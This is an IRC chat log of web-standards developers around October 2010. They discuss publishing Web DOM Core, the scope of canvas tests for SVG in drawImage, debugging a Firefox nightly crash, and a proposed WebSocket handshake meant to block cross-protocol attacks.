(not sure whether that's too close to tokyo)

[10:59:00.0000] <annevk>
I got 2AM

[10:59:01.0000] <annevk>
for "time in tokyo" on Google

[10:59:02.0000] <micheil>
yeah

[10:59:03.0000] <micheil>
I'm obviously up late.

[11:01:00.0000] <annevk>
well, I suppose "late" is a personal thing

[11:02:00.0000] <annevk>
but 2AM is late for Mike afaik :)

[11:03:00.0000] <micheil>
true

[11:06:00.0000] <Ms2ger>
/me was summoned by annevk 

[11:07:00.0000] <annevk>
oh hey

[11:07:01.0000] <annevk>
I should improve my summoning skills

[11:07:02.0000] <jgraham>
Seriously ;)

[11:09:00.0000] <annevk>
Ms2ger, so I actually need to fix a few more things and then hopefully you can generate a copy and then we can hopefully get Art to convince the rest of the W3C we should publish Web DOM Core with a shortname of domcore

[11:09:01.0000] <annevk>
I forgot to put in the whole patent policy disclaimer part

[11:10:00.0000] <Ms2ger>
Sure

[11:11:00.0000] <Ms2ger>
Did I miss anything besides someone dumping 300 bugmails in my inbox?

[11:13:00.0000] <annevk>
Ms2ger, I wrote http://dev.w3.org/2006/webapi/progress/ and nobody cares ;p

[11:13:01.0000] <gsnedders>
annevk: You wrote it, why would they?

[11:13:02.0000] <annevk>
oh, and I believe the DRM bug got reopened, Fronteers conference is this week, and some other stuff I do not recall right now

[11:14:00.0000] <annevk>
gsnedders, excellent point

[11:16:00.0000] <annevk>
Ms2ger, try it now?

[11:16:01.0000] <annevk>
after hg pull / hg update

[11:18:00.0000] <annevk>
hah

[11:19:00.0000] <annevk>
I guess I better start summoning now, for it takes a long time :)

[11:53:00.0000] <Ms2ger>
you need the image to load in order to get a HTMLImageElement object

[11:53:01.0000] <Ms2ger>
Really?

[11:54:00.0000] <Hixie>
new Image(); and document.createElement('img') both give you an HTMLImageElement object with no image loaded

[11:55:00.0000] <Ms2ger>
/me expects jgraham to correct himself on the list

[11:57:00.0000] <Ms2ger>
Also, annevk, why'd you mark bug 10832 as VERIFIED instead of CLOSED?

[11:58:00.0000] <annevk>
dunno, I can mark it CLOSED

[11:58:01.0000] <annevk>
good to see you're back so soon

[11:58:02.0000] <annevk>
can you generate a DOM Core copy?

[12:04:00.0000] <annevk>
cool

[12:04:01.0000] <annevk>
lets see what pubrules says

[12:05:00.0000] <Ms2ger>
http://dvcs.w3.org/hg/domcore/rev/4e81c4313c3e

[12:05:01.0000] <annevk>
oh

[12:06:00.0000] <annevk>
Anolis does not understand [STATUS] or [LONGSTATUS]?

[12:06:01.0000] <annevk>
bah

[12:06:02.0000] <Ms2ger>
Looks like it should

[12:07:00.0000] <annevk>
hmm

[12:07:01.0000] <annevk>
I'll fix those manually for now in the generated copy so I have something to give to Art

[12:09:00.0000] <Ms2ger>
I'm fixing it

[12:09:01.0000] <annevk>
ok

[12:09:02.0000] <annevk>
i'll wait

[12:10:00.0000] <gsnedders>
annevk: --w3c-compat-options or something like that?

[12:11:00.0000] <gsnedders>
(the design of it in Anolis 1 means you basically have to compute the replacement string before doing any replacements, and they're way more expensive to compute than other replacements)

[12:12:00.0000] <annevk>
I don't know Anolis unfortunately (or why I cannot get it to work) but these can be replaced whenever

[12:14:00.0000] <Ms2ger>
annevk, could you push to w3.org?

[12:15:00.0000] <annevk>
sure

[12:16:00.0000] <annevk>
done

[12:16:01.0000] <Ms2ger>
Apparently I lost the right incantation once more

[12:17:00.0000] <annevk>
looks very official now: http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html

[12:17:01.0000] <annevk>
ta

[12:17:02.0000] <Ms2ger>
Except for the IDL blocks

[12:19:00.0000] <annevk>
hmm, lets copy the style block from XHR

[12:20:00.0000] <annevk>
pushed

[12:25:00.0000] <Ms2ger>
And pushed

[12:26:00.0000] <annevk>
hmm, reference section is now split? I guess that's fine

[12:27:00.0000] <annevk>
and all <var> are suddenly linked

[12:28:00.0000] <TabAtkins>
OMIGOD I HATE AIRLINES >_<

[12:28:01.0000] <annevk>
and <a> is inside <code>, but I guess that is ok

[12:28:02.0000] <jgraham>
TabAtkins: Yes

[12:28:03.0000] <annevk>
Ms2ger, so should we do s/<var>/<var title>/ ?

[12:29:00.0000] <jgraham>
Ms2ger: How do you get a reference to a HTMLImageElement for a SVG image if you don't support SVG elements in image?

[12:30:00.0000] <jgraham>
Or am I not understanding the correction that you are looking for?

[12:30:01.0000] <Ms2ger>
I might be misunderstanding your email

[12:31:00.0000] <annevk>
Ms2ger, likely publication date is Oct 7

[12:32:00.0000] <jgraham>
Ms2ger: The point I was trying to make is that it is OK to test that e.g SVG in drawImage works if you set up the test so that it doesn't fail if SVG in <img> elements doesn' work at all

[12:32:01.0000] <jgraham>
Since it seems to be a requirement of the spec that drawImage supports any format for which you can get a HTMLImageElement

[12:33:00.0000] <jgraham>
Which I think is equivalent to "any format supported by <img>"

[12:34:00.0000] <romeo_>
cool. The idiotic mega spec killed my browser and all my tabs once again...

[12:35:00.0000] <jgraham>
romeo_: Which browser?

[12:36:00.0000] <romeo_>
jgraham, will tell you when I manage to launch it again

[12:37:00.0000] <jgraham>
You're not sure which browser you use?

[12:37:01.0000] <jgraham>
Actually I guess I sometimes realise that things are a bit odd because I am not using the browser I hink I am

[12:37:02.0000] <jgraham>
*think

[12:38:00.0000] <romeo_>
some Firefox 3.6

[12:39:00.0000] <romeo_>
sessionstore.js is a single line of condensed js. *sigh*

[12:40:00.0000] <Ms2ger>
annevk, I hope it's almost ready now ;)

[12:40:01.0000] <jgraham>
romeo_: I hear that Firefox 4 improves spec loading time a great deal

[12:41:00.0000] <TabAtkins>
romeo_: Just stripped whitespace, or variables shortened as well?  There are good prettifiers that'll fix the former.

[12:42:00.0000] <annevk>
Ms2ger, thanks

[12:42:01.0000] <annevk>
Ms2ger, not sure what to do with the <var> stuff

[12:42:02.0000] <annevk>
seems only <var>node</var> is affected atm

[12:42:03.0000] <Ms2ger>
Oh, duh

[12:44:00.0000] <smaug____>
romeo_: you should use Firefox 4

[12:45:00.0000] <romeo_>
Yeah yeah yeah, but I am not

[12:45:01.0000] <annevk>
romeo_, you can use whatwg.org/C

[12:46:00.0000] <Ms2ger>
/me crosses fingers

[12:46:01.0000] <annevk>
Ms2ger, heh, I actually think we should fix that in Anolis

[12:46:02.0000] <annevk>
I don't think that should be in W3C compat

[12:46:03.0000] <annevk>
but this works

[12:47:00.0000] <Ms2ger>
Hmm?

[12:47:01.0000] <annevk>
that <var> can be an xref

[12:47:02.0000] <annevk>
I don't think you ever want that

[12:47:03.0000] <annevk>
and if you do, just wrap a span around it

[12:47:04.0000] <Ms2ger>
I suppose that's true

[12:48:00.0000] <jgraham>
Doesn't HTML5 use that?

[12:48:01.0000] <jgraham>
Or maybe I am confused

[12:49:00.0000] <Ms2ger>
Bah, it does

[12:50:00.0000] <annevk>
it does?

[12:50:01.0000] <annevk>
weird

[12:50:02.0000] <Ms2ger>
<var>the script block's type</var>

[12:50:03.0000] <gsnedders>
annevk: It does. It was on list of elements Hixie wanted to xref, and thought he could justify semantically.

[12:50:04.0000] <annevk>
grr

[12:50:05.0000] <smaug____>
jgraham: do you happen to know if it is a known problem that there are some painting/rendering problems when scrolling html5 draft Opera/linux

[12:51:00.0000] <jgraham>
I am not sure

[12:51:01.0000] <Ms2ger>
jgraham, surely you can get an HTMLImageElement regardless of the format?

[12:51:02.0000] <gsnedders>
smaug____: With the comment box, or anything else?

[12:51:03.0000] <jgraham>
Ms2ger: How?

[12:52:00.0000] <Ms2ger>
Uh

[12:52:01.0000] <smaug____>
gsnedders: with the comment box

[12:52:02.0000] <Ms2ger>
createElement("img")

[12:52:03.0000] <Ms2ger>
img.src = "foo.mng"

[12:52:04.0000] <smaug____>
gsnedders: sounds like a known bug then

[12:52:05.0000] <annevk>
jgraham, i = new Image()

[12:53:00.0000] <Philip`>
Just check for .complete = true, I guess

[12:54:00.0000] <annevk>
not just that anymore

[12:54:01.0000] <annevk>
checking width/height might be more reliable

[12:55:00.0000] <gsnedders>
smaug____: Known (at least insofar as QA have seen it before, whether we have a bug report for it is a separate question). :P

[12:57:00.0000] <jgraham>
Ms2ger: OK, I guess you need to check that width !=0 and height != 0

[12:57:01.0000] <annevk>
but assuming SVG works in <img> is fine imo

[12:58:00.0000] <annevk>
no need to make things complex now for something everyone will have in one/two years

[12:58:01.0000] <jgraham>
I note my original email doesn't mention how you decide if the image format is supported

[12:58:02.0000] <jgraham>
annevk: I disagree

[12:59:00.0000] <jgraham>
The spec is very careful not to require SVG support

[12:59:01.0000] <annevk>
yeah well, impls support it so we might as well test it to some extent

[13:00:00.0000] <annevk>
the spec does not require support for ECMAScript either

[13:00:01.0000] <jgraham>
This is true

[13:00:02.0000] <annevk>
http://www.w3.org/2010/09/13-ab-minutes -- W3C Member-only (also interesting)

[13:01:00.0000] <jgraham>
There has to be a line somewhere

[13:01:01.0000] <Philip`>
/me wonders if SVG drawImage should be required to be high-quality vector rendering, or if it's acceptable to flatten it to a bitmap and then render the bitmap onto the canvas

[13:01:02.0000] <jgraham>
It is not clear to me why SVG is in but PDF is out, for example

[13:01:03.0000] <Philip`>
/me also wonders what should happen with SVG drawImage and security

[13:02:00.0000] <Ms2ger>
Taint it

[13:02:01.0000] <Ms2ger>
At least, I understand that's what Mozilla is doing

[13:02:02.0000] <aho>
well, you would flatten it to the size you're drawing it at

[13:02:03.0000] <jgraham>
Whereas at least png and gif and ECMAScript have a long history of being supported

[13:03:00.0000] <Philip`>
Ms2ger: In all cases, even if it's just dumb shapes and colours?

[13:04:00.0000] <aho>
well, you explictly ask for a bitmap representation :>

[13:04:01.0000] <Ms2ger>
Your dumb shapes and colours might be my trade secrets

[13:04:02.0000] <Philip`>
Ms2ger: If that was a problem, it would be equally a problem for drawImage of PNGs and JPEGs

[13:05:00.0000] <Ms2ger>
I should not that I don't know what I'm talking about

[13:05:01.0000] <Ms2ger>
note, even

[13:05:02.0000] <Philip`>
(If that's not a problem, SVG is still a problem since a same-origin SVG image can embed different-origin images)

[13:05:03.0000] <Philip`>
(and <foreignObjects>)

[13:06:00.0000] <Philip`>
(but I guess it's kind of risky for browsers to allow some SVGs and not others)

[13:06:01.0000] <Ms2ger>
All SVGs, with an XXX comment in the source to maybe make it more permissive

[13:07:00.0000] <annevk>
jgraham, PDF does not have native support in all user agents, SVG does

[13:08:00.0000] <annevk>
jgraham, it seems unlikely PDF will have that

[13:08:01.0000] <Philip`>
What is "all"?

[13:08:02.0000] <Ms2ger>
WebKit, Gecko, Trident and Presto

[13:08:03.0000] <Philip`>
Canvas seems to be supported by some non-desktop browsers too, which may be less supportive of SVG

[13:08:04.0000] <annevk>
the usual suspects, indeed

[13:09:00.0000] <annevk>
so they note n/a for the test

[13:10:00.0000] <jgraham>
annevk: Right. With the proviso that we implement a N/A state that checks a precondtion, I am happy to have this kind of test

[13:10:01.0000] <jgraham>
I will even implment support in jsharness.js

[13:10:02.0000] <annevk>
no

[13:10:03.0000] <annevk>
no

[13:10:04.0000] <jgraham>
No?

[13:10:05.0000] <annevk>
it can just fail in their impl and they can mark it as n/a

[13:10:06.0000] <jgraham>
No

[13:11:00.0000] <annevk>
no need for tricks

[13:11:01.0000] <jgraham>
That is a trick

[13:11:02.0000] <jgraham>
Manually changing results

[13:11:03.0000] <annevk>
it's avoiding needless complexity

[13:11:04.0000] <annevk>
we're not having pre-conditions for all tests that use ECMAScript or XML either

[13:11:05.0000] <annevk>
it'd be insane

[13:12:00.0000] <jgraham>
Well for ECMAScript it is clearly insane

[13:12:01.0000] <jgraham>
We already had explicit agreement that we could assume a mostly-functional ECMSScript engine

[13:13:00.0000] <jgraham>
*ECMAScript

[13:14:00.0000] <annevk>
I don't really get the philosophical debate about whether assuming SVG support matters

[13:14:01.0000] <annevk>
tests make all kinds of assumptions all the time about other specs

[13:14:02.0000] <annevk>
introducing complexity for that is not at all worth it

[13:14:03.0000] <annevk>
especially if the top-five browsers plan on supporting it anyway

[13:32:00.0000] <jgraham>
annevk: Well fel free to disagree with me on the list

[13:34:00.0000] <jgraham>
I still think the idea of adding tests that have the sole purpose of testing something that is specifically not required by the spec is suspect

[13:35:00.0000] <jgraham>
Moreso than relying on things that are known to be universially supported for testing other things

[13:41:00.0000] <annevk>
someone else already disagreed, no?

[13:41:01.0000] <annevk>
and as Kris said, someone needs to test whether drawing SVG on <canvas> works, as the combination of specs requires that

[13:43:00.0000] <jgraham>
It seems to me that it is for the SVG WG to test

[13:44:00.0000] <jgraham>
Especially as they define(d) that SVG had to work in <img>

[13:44:01.0000] <Philip`>
I think canvas tests need to test it, because there's lots of non-trivial interactions with canvas behaviour

[13:44:02.0000] <Philip`>
(security and scaling etc)

[13:45:00.0000] <annevk>
yeah, and we have a <canvas> test suite which has all the infrastructure already

[13:45:01.0000] <jgraham>
It's not clear that affects who's responsibility it is

[13:46:00.0000] <jgraham>
They could after all reuse our infrastructure

[13:46:01.0000] <Philip`>
My original concern was just whether a non-SVG-supporting browser should be considered a pass or fail

[13:46:02.0000] <annevk>
really, responsibility is something for people who care about Process to bring up

[13:46:03.0000] <annevk>
rather than progress

[13:47:00.0000] <jgraham>
I am mildly concered that we end up with a clear idea of what the scope of the testsuite should be

[13:47:01.0000] <jgraham>
It is highly unclear that SVG-in-canvas is in scope more than PDF-in-canvas

[13:48:00.0000] <annevk>
i think this is exactly the kind of thing we should be testing

[13:48:01.0000] <annevk>
one of the things, as Ian now and then mentions, we really care about is closing the gaps between the various specifications

[13:48:02.0000] <annevk>
this is one of those things

[13:48:03.0000] <aho>
i think svg in canvas already works in one browser

[13:48:04.0000] <aho>
i gues it was opera... mmmh

[13:48:05.0000] <aho>
+s

[13:48:06.0000] <annevk>
jgraham, it is not at all highly unclear, geez

[13:48:07.0000] <jgraham>
If the criteria is "have all four major browsers agreed to implement it" then its now

[13:48:08.0000] <jgraham>
*not

[13:49:00.0000] <jgraham>
If the criteria is "what does the spec say" then it is

[13:53:00.0000] <romeo_>
How do I generate something like whatwg.org/C from source?

[13:53:01.0000] <romeo_>
The svn repo seems to miss a script for that job

[13:54:00.0000] <jgraham>
For the benefit of the logs: anne, seriously if "four engines plan to implement it" is your criterion for "is this in scope", please say so on the list

[13:54:01.0000] <jgraham>
If you have a different criterion, please say that 

[13:58:00.0000] <aho>
mine is... if it makes sense (i.e. if there is some use case for this)  it should work :>

[14:01:00.0000] <jgraham>
That's a good policy for a QA testsuite. Not so much for a conformance testsuite for a particular specification

[14:02:00.0000] <gsnedders>
/me would add, "and if it doesn't make sense, it shouldn't crash"

[14:02:01.0000] <Hixie>
is there harm having more than necessary in the test suite?

[14:02:02.0000] <gsnedders>
(because someone will do it anyway)

[14:02:03.0000] <jgraham>
Hixie: It depends what the additional tests are and why they were submitted

[14:02:04.0000] <gsnedders>
Hixie: If a test is failed by every browser because they don't support it because the spec doesn't require it, then is the test useful?

[14:03:00.0000] <jgraham>
If they are for some proprietry image format only supported by one browser, for example, it doesn't seem good

[14:04:00.0000] <jgraham>
Also having tests for things like "does this corrupt PNG file work as expected" seem out of place in a HTML testsuite

[14:04:01.0000] <jgraham>
Although they might be very useful tests

[14:06:00.0000] <jgraham>
(also, we have to reach two fully interoperable implementations, so the more stuff we have that won't be implemented by all players who have a realistic chance of being one of those implementations, the less the chance of actually achieving that)

[14:07:00.0000] <Hixie>
sure, i'm assuming we're only testing stuff that everyone agrees should be implemented in the first place :-)

[14:07:01.0000] <jgraham>
Hixie: Well we're already not, in fact

[14:08:00.0000] <jgraham>
Since we need to use some video codecs

[14:08:01.0000] <Philip`>
I already have tests for APNG

[14:08:02.0000] <jgraham>
But of course we try to work around that

[14:08:03.0000] <Philip`>
(in canvas)

[14:08:04.0000] <Philip`>
but they're designed to pass if APNG isn't supported

[14:08:05.0000] <Hixie>
oh well some tests may need alternatives to test the same thing with different underlying techs

[14:08:06.0000] <Hixie>
that's still "one test" for the purposes of this discussion

[14:11:00.0000] <jgraham>
Anyway, I can agree that if everyone of interest plans to implement SVG-in-<img> and we think that we will do a better job of the tests than the SVG WG then having the tests in the HTML testsuite is OK

[14:14:00.0000] <Hixie>
i don't really care where the tests are so long as they are somewhere; the worst situation is having two groups both saying that the test should be "over there"

[14:14:01.0000] <Hixie>
also, having the test in both places is harmless

[14:16:00.0000] <aho>
ye

[14:17:00.0000] <aho>
svg+webgl also makes lots of sense. if the resolution is high you can then easily use high res textures :>

[14:18:00.0000] <aho>
svg in canvas doesnt seem to work anywhere yet... just tried it in the latest oepra, minefield and chrome dev :l

[14:19:00.0000] <Ms2ger>
There's a patch for Gecko

[14:19:01.0000] <TabAtkins>
<svg> in canvas, or SVG-in-<img> in canvas?

[14:19:02.0000] <aho>
latter

[14:19:03.0000] <aho>
img = new Image(); img.src = '...svg'

[14:20:00.0000] <aho>
i don't even get onload then :l

[14:25:00.0000] <romeo_>
The spec-splitter.py script is wonderful. It made a multipage version of the spec within 3 seconds.

[14:26:00.0000] <romeo_>
Is there a script like that available for the WA1.0 spec?

[14:27:00.0000] <romeo_>
/me is going to study the spec-splitter.py script

[14:28:00.0000] <Philip`>
The script should work for any version of the spec

[14:28:01.0000] <Philip`>
(with varying levels of goodness)

[14:28:02.0000] <jgraham>
(but not for other specs, right?)

[14:28:03.0000] <Philip`>
It'd work for anything with the same markup structure

[14:28:04.0000] <romeo_>
Maybe I have an old or obsolete version? 

[14:29:00.0000] <Philip`>
e.g. same number of elements in head, and same nestedness

[14:29:01.0000] <romeo_>
Here it is! http://html5.googlecode.com/svn/trunk/spec-splitter/

[14:30:00.0000] <romeo_>
I don't think it has a WA1 option

[15:19:00.0000] <Hixie>
 ~.

[15:20:00.0000] <heycam>
Hixie, enter, not space :)

[15:21:00.0000] <Hixie>
yeah it turns out the connection wasn't dead after all ;-)

[15:28:00.0000] <jgraham>
But maybe some people just learnt a good ssh trick

[15:29:00.0000] <jgraham>
(~ at the start of the line is the escape character "." means close the connection)

[15:29:01.0000] <jgraham>
/me only learnt that quite recently and so guesses some people don't know

[15:30:00.0000] <Hixie>
it's in the ssh man page, so i'm sure most people who use ssh know about it :-)

[15:30:01.0000] <jgraham>
Umm. Yeah

[15:30:02.0000] <jgraham>
Man pages aren't noted for being fun light reading

[15:31:00.0000] <romeo_>
For every man page there should be a human page.

[15:36:00.0000] <romeo_>
... with e.g. common examples.

[15:53:00.0000] <Philip`>
Woah, there's an escape character?


2010-10-06
[21:00:00.0000] <hober>
elisp tokenizer now passing 1281/2932 (43.7%) of tests

[21:00:01.0000] <hober>
most of the failures are simply that my test runner doesn't handle many of the tests right yet

[21:15:00.0000] <karlcow>
http://blog.jackadam.net/2010/alpha-jpegs/

[21:15:01.0000] <karlcow>
I wanted a reasonably sized photographic image with a 24-bit alpha channel. So I used a JPEG for what JPEGs are good for and a PNG for what PNGs are good for…

[21:15:02.0000] <karlcow>
I combined them using an HTML5 canvas element and then inserted into the DOM. The results look the same as using a normal 24-bit PNG but are one-half to one-sixth the size. In one case we got a 573KB 24-bit PNG down to a 49KB JPEG with a 4KB PNG alpha-mask!

[01:16:00.0000] <asmodai>
lol

[01:16:01.0000] <asmodai>
latest Minefield crashes consistently trying to load html5test.com

[01:17:00.0000] <hsivonen>
asmodai: have you filed a bug with the crash reporter id already?

[01:17:01.0000] <asmodai>
nope, going to do it now, just wanted to try a few times to see if it was consistent

[01:18:00.0000] <asmodai>
hsivonen: crash reporter id, is that something different from just a bugzilla report?

[01:18:01.0000] <asmodai>
hsivonen: I don't even get the firefox popup

[01:18:02.0000] <asmodai>
cute, same happens opening the addons pane

[01:19:00.0000] <asmodai>
There must be some code path that's triggering NX or something similar

[01:19:01.0000] <hsivonen>
asmodai: If the crash reporte shows up and you submit a crash report, the next time you launch Minefield, you can navigate to about:crashes and find the report ID, so you can paste it to a bug report to allow bugzilla readers make the association between your bug report and your crash report

[01:20:00.0000] <asmodai>
Ah no, I get a Windows popup to Debug or Close Program

[01:22:00.0000] <hsivonen>
no crash for me on html5test.com on Mac

[01:22:01.0000] <asmodai>
Peculiar.

[01:22:02.0000] <asmodai>
Don't have a second box here to test with :(

[01:24:00.0000] <asmodai>
jeez

[01:24:01.0000] <asmodai>
even with disabled addons (not that I had any) and reset to all default options

[01:24:02.0000] <asmodai>
Really strange

[01:25:00.0000] <hsivonen>
if you choose to debug, do you get something that lets you get the stack trace?

[01:26:00.0000] <asmodai>
Nope, need to see what's up with that. Probably pointing to a previous install of Visual Studio. *checks to see if DrWatson or similar still exist in 7*

[01:27:00.0000] <asmodai>
hsivonen: Mmm, lets see if I can generate a .dmp file

[01:28:00.0000] <asmodai>
Ah

[01:28:01.0000] <asmodai>
event viewer has some details

[01:28:02.0000] <asmodai>
Faulting application name: firefox.exe, version: 2.0.0.3930, time stamp: 0x4caaf485

[01:28:03.0000] <asmodai>
Faulting module name: mozjs.dll, version: 0.0.0.0, time stamp: 0x4caae92b

[01:28:04.0000] <asmodai>
Exception code: 0xc0000005

[01:28:05.0000] <asmodai>
Fault offset: 0x00000000001ab60e

[01:29:00.0000] <asmodai>
same offset every single time

[01:29:01.0000] <asmodai>
Oh wait, the other two of the 6 have different ones. grrr.

[01:29:02.0000] <hsivonen>
asmodai: https://developer.mozilla.org/en/Using_the_Mozilla_symbol_server has instructions for getting symbols

[01:31:00.0000] <zcorpan>
annevk: missing </title> in the first example (progress events)

[01:50:00.0000] <asmodai>
hsivonen: it's expected that a bunch of files default to export symbols?

[01:53:00.0000] <hsivonen>
asmodai: I don't know

[01:54:00.0000] <hsivonen>
(I'm generally unhappy about builds not coming with symbols, but I realize there are download size issues.)

[01:55:00.0000] <asmodai>
.*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Minefield\mozjs.dll

[01:55:01.0000] <asmodai>
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Minefield\mozjs.dll -

[01:56:00.0000] <hsivonen>
hmm. I wonder if someone forgot to update the symbol server when mozjs.dll was split out of the libxul.dll

[01:56:01.0000] <hsivonen>
asmodai: we've now reached the end of my Windows debugging knowledge. Sorry.

[01:57:00.0000] <asmodai>
That's ok

[01:57:01.0000] <asmodai>
I'm following:

[01:57:02.0000] <asmodai>
https://developer.mozilla.org/en/How_to_get_a_stacktrace_with_WinDbg

[01:58:00.0000] <asmodai>
Just curious why my nightly doesn't seem to reflect the symbol server

[02:07:00.0000] <zcorpan>
annevk: missing </title> in the first example (progress events)

[02:08:00.0000] <zcorpan>
annevk: the table says 'one or more' for progress, but i could imagine zero being fired in teh case of error or abort

[02:09:00.0000] <annevk>
I guess

[02:17:00.0000] <asmodai>
aha

[02:17:01.0000] <asmodai>
http://symbols.mozilla.org/firefox/mozjs.pdb/4D544329A0324F3386C1DE0A369E3DB51/mozjs.pdb not found

[02:18:00.0000] <annevk>
I already fixed that </title> thing btw, forgot to escape the leading <

[02:20:00.0000] <zcorpan>
yay http://www.onenewspage.com/news/Technology/20101005/15694625/Fake-Browser-Warnings-Dupe-Users-Into-Downloading-Scareware.htm

[02:24:00.0000] <hsivonen>
making a distinction between what comes from the browser and what doesn't is a hard problem :-(

[02:25:00.0000] <asmodai>
Pink thick borders!

[02:55:00.0000] <asmodai>
hsivonen: got a stack trace

[02:56:00.0000] <asmodai>
It's a clear access violation

[02:56:01.0000] <asmodai>
mozjs!JS::PerfMeasurement::canMeasureSomething+0xde:

[02:56:02.0000] <asmodai>
000007fe`ee30b60e ffe0            jmp     rax {fffb8000`11b665b0}

[02:59:00.0000] <asmodai>
hsivonen: I assume the log file of the trace is better as attachment rather than inline in the bug report?

[03:00:00.0000] <hsivonen>
asmodai: depends on how long it is

[03:00:01.0000] <hsivonen>
asmodai: either way works

[03:01:00.0000] <hsivonen>
asmodai: I usually paste the interesting parts of the stack inline

[03:01:01.0000] <asmodai>
I guess that would be the exception analysis in this case

[03:01:02.0000] <asmodai>
k, will make sure to paste that inline and attach the full file

[03:03:00.0000] <micheil>
Hixie: what's with the two different sets of instructions on parsing websocket data for client and server in the spec, shouldn't both do the same thing?

[03:07:00.0000] <jgraham>
Ah, annevk won

[03:07:01.0000] <annevk>
a price?

[03:09:00.0000] <jgraham>
s/c/z/ ?

[03:10:00.0000] <asmodai>
hsivonen: Help > About was more useful when you could copy/paste the UA string :(

[03:13:00.0000] <zcorpan>
for those not following hybi, abarth has proposed a new handshake: http://www.ietf.org/mail-archive/web/hybi/current/msg04285.html

[03:13:01.0000] <micheil>
zcorpan: I'm not sure how that can actually work.

[03:14:00.0000] <micheil>
like, there's no indication that either wants to upgrade the connection

[03:15:00.0000] <jgraham>
micheil: The sent string is a unique websockets string

[03:16:00.0000] <micheil>
yeah, but it's just one header.

[03:16:01.0000] <micheil>
I think the current way is a bit better, because it uses the http Upgrade method

[03:16:02.0000] <micheil>
or, yeah.

[03:17:00.0000] <micheil>
in order to implement a server that does regular HTTP and Websockets, servers using this proposal would have to read / touch every single request

[03:17:01.0000] <micheil>
not just those with an upgrade.

[03:17:02.0000] <micheil>
(I suppose in a way that already happens though.)

[03:18:00.0000] <jgraham>
Well *some* part of the server has to touch every request anyway

[03:18:01.0000] <jgraham>
The difference is here you look for CONNECT requests to the special destination

[03:19:00.0000] <jgraham>
Rather than GET requests with Upgrade

[03:22:00.0000] <asmodai>
wth

[03:22:01.0000] <jgraham>
Umm, am I misunderstanding something

[03:23:00.0000] <jgraham>
Or is glazou proposing that we change XML parsing?

[03:23:01.0000] <asmodai>
so first MS installs a Bing Bar addon without my approval within Firefox and now they have a security vulnerability and they won't maintain it anymore

[03:23:02.0000] <asmodai>
Curious way to do that

[03:28:00.0000] <micheil>
jgraham, zcorpan: is this new handshaking model proposing that all data sent after handshake be encoded or encrypted too?

[03:30:00.0000] <jgraham>
micheil: Yes

[03:30:01.0000] <micheil>
isn't that what wss is for?

[03:30:02.0000] <jgraham>
Otherwise some protocols will just ignore all the junk they don't understand and then read the attacker-controlled bytes later

[03:30:03.0000] <micheil>
surely encrypting or encoding all data sent and received after handshake would slow down the rate at which data could be exchanged?

[03:31:00.0000] <jgraham>
No, wss is for WebSockets-over-tls

[03:31:01.0000] <jgraham>
That protects against people reading the network data

[03:31:02.0000] <micheil>
I've still got to read the document in full.

[03:31:03.0000] <jgraham>
This does not because the keys are exchanged in the clear

[03:32:00.0000] <jgraham>
It is *only* designed to prevent the attacker controlling the precise series of bytes that go over the wire

[03:34:00.0000] <micheil>
hmm..

[03:34:01.0000] <jgraham>
It is more work for servers for sure

[03:35:00.0000] <asmodai>
hsivonen: https://bugzilla.mozilla.org/show_bug.cgi?id=602162

[03:35:01.0000] <micheil>
the other thing to look at is just how it breaks backward compatibility

[03:36:00.0000] <jgraham>
micheil: In theory there is no back-compat promised at the moment

[03:37:00.0000] <micheil>
hmm, true

[03:37:01.0000] <micheil>
a bit of a pain in the ass for developers.

[03:38:00.0000] <jgraham>
Well yes, but presumably so is having all your email deleted due to a cross-protocol attack

[03:38:01.0000] <jgraham>
So there is at least some [ptential benefit

[03:43:00.0000] <micheil>
jgraham: do you think the websocket protocol even needs to handle extensions and such?

[03:44:00.0000] <jgraham>
micheil: Sure. Things like compression and multiplexing can be optional extensions

[03:44:01.0000] <micheil>
hmm..

[03:44:02.0000] <jgraham>
So the people with difficult performance requirements can use them and the rest of us can get on with out lives

[03:44:03.0000] <micheil>
I think compression would be best done by end-developer

[03:44:04.0000] <jgraham>
*our

[03:44:05.0000] <jgraham>
I continue to think that every simple developer reimplementing compression in javascript is crazy

[03:45:00.0000] <jgraham>
*single

[03:45:01.0000] <micheil>
as for multiplexing, I'm not sure on the specifics of it.

[03:45:02.0000] <jgraham>
although simple works too

[03:45:03.0000] <micheil>
well, does every developer reimplement DOM methods in javascript?

[03:45:04.0000] <micheil>
most javascript developers are likely to use a framework that implements DOM methods, for finding nodes etc.

[03:46:00.0000] <jgraham>
No, DOM implements those methods

[03:46:01.0000] <jgraham>
in native code

[03:46:02.0000] <micheil>
uhh..

[03:46:03.0000] <jgraham>
Developers sometimes use frameworks to provide a more convenient API

[03:46:04.0000] <micheil>
I'm meaning the things like what most javascript libraries do.

[03:47:00.0000] <jgraham>
But moving more stuff to native code made those libraries easier to implement and faster

[03:47:01.0000] <jgraham>
e.g. querySelectorAll

[03:47:02.0000] <micheil>
true, I guess.

[03:48:00.0000] <micheil>
so are things now heading towards per-connection extensions instead of per-packet extensions?

[03:48:01.0000] <jgraham>
I'm not sure

[03:48:02.0000] <jgraham>
With any luck people have stopped worrying about extensions for now

[03:48:03.0000] <micheil>
because at any rate, per-connection extensions make a lot more sense.

[03:49:00.0000] <jgraham>
Yes

[03:51:00.0000] <micheil>
so, will CONNECT 1C1BCE63-1DF8-455C-8235-08C2646A4F21.invalid:443 HTTP/1.1

[03:51:01.0000] <micheil>
ever change?

[03:51:02.0000] <jgraham>
In theory, no

[03:51:03.0000] <micheil>
okay

[03:52:00.0000] <micheil>
so in that case you could listen for CONNECT requests where the, i guess, resource is 1C1BCE63-1DF8-455C-8235-08C2646A4F21.invalid:443

[03:54:00.0000] <jgraham>
I think that is the idea

[03:54:01.0000] <micheil>
okay, that makes more sense now, I was reading it as that resource would change each time

[03:56:00.0000] <micheil>
that leads to another question: currently I've seen a lot of people doing websocket routing, where by they use the resource requested: GET <resource> HTTP/1.1

[03:56:01.0000] <micheil>
to route to different channels

[03:58:00.0000] <micheil>
how would that be handled using this new method?

[04:00:00.0000] <jgraham>
You would add some mechanism for that in the post-encryption part of the handshake

[04:02:00.0000] <micheil>
hmm..

[04:03:00.0000] <micheil>
well, that's a very common pattern, so it'd be good to see it considered.

[04:04:00.0000] <jgraham>
Right, abarth specifically said that he wasn't detailing the post-encryption part

[04:17:00.0000] <hsivonen>
asmodai: thanks for filing the crash

[04:18:00.0000] <hsivonen>
asmodai: yeah, it's inconvenient that the new about box doesn't contain the date for nigthlies

[04:28:00.0000] <Philip`>
